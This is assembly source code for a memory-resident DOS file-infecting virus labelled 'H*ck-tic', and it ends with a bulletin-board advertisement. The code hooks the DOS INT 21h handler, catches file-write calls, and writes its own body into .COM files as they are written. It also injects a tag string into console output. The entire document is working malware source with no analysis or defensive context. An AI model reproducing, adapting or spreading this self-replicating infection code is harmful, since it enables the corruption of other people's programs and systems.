tic             segment
                org     100h
                assume  cs:tic, ds:tic, es:tic
;
len     equ     offset int21-100h      ;LENGTH OF VIRUS CODE
;
start:          mov     ax,9000h       ;MOVE VIRUS CODE UP
                mov     es,ax
                mov     di,si
                mov     cx,len
                rep     movsb
                mov     ds,cx           ;DS = 0
                mov     si,84h          ;INT 21 VECTOR
                mov     di,offset int21
                push    di
                mov     dx,offset infect
                lodsw                   ;SAVE ORIGINAL VECTOR
                cmp     ax,dx           ;VIRUS PROBABLY ALREADY RESIDENT
                je      exit
                stosw
                lodsw
                stosw
                push    es
                pop     ds
                mov     ax,2521h        ;REVECTOR TO VIRUS
                int     21h
exit:           push    cs              ;RESTORE SEGMENT REGISTERS
                pop     ds
                push    cs
                pop     es
                pop     si              ;SI = END OF VIRUS CODE
                mov     di,0fch
                push    di              ;RETURN HERE
                mov     ax,0aaach       ;LODSB/STOSB INSTRUCTIONS
                stosw
                mov     ax,0fce2h       ;LOOP TO ADDRESS INSTRUCTIONS
                stosw
                mov     ch,0feh
                ret                     ;MOVE CODE AND RUN PROGRAM
;
infect:         pushf
                push    ax
                push    cx
                push    dx
                push    si
                push    ds
                cmp     ah,40h          ;WRITE FUNC?
                jne     done
                cmp     bx,1
                je      mes
                mov     si,dx           ;DS:DX = WRITE BUFFER
                lodsb
                cmp     al,0b8h         ;ALREADY INFECTED?
                je      done
                cmp     al,0ebh         ;PROBABLY .COM
                jne     done
                mov     cx,len          ;LENGTH OF VIRUS
                mov     dh,1            ;DX ASSUMED TO BE 0
hack:           push    cs
                pop     ds
                pushf
                call    cs:[int21]      ;WRITE VIRUS
done:           pop     ds
                pop     si
                pop     dx
                pop     cx
                pop     ax
                popf                    ;CONTINUE INTERRUPT
                jmp     cs:[int21]
mes:            mov     cx,12
                mov     dx,offset string
                jmp     short hack
string  db      ' (H*ck-tic) '
;
int21   dd      0c3h                    ;STANDALONE VIRUS RETURNS
tic             ends
                end     start

; �������������������������������������������������������������������������
; ��������������������> and Remember Don't Forget to Call <����������������
; ������������> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <����������
; �������������������������������������������������������������������������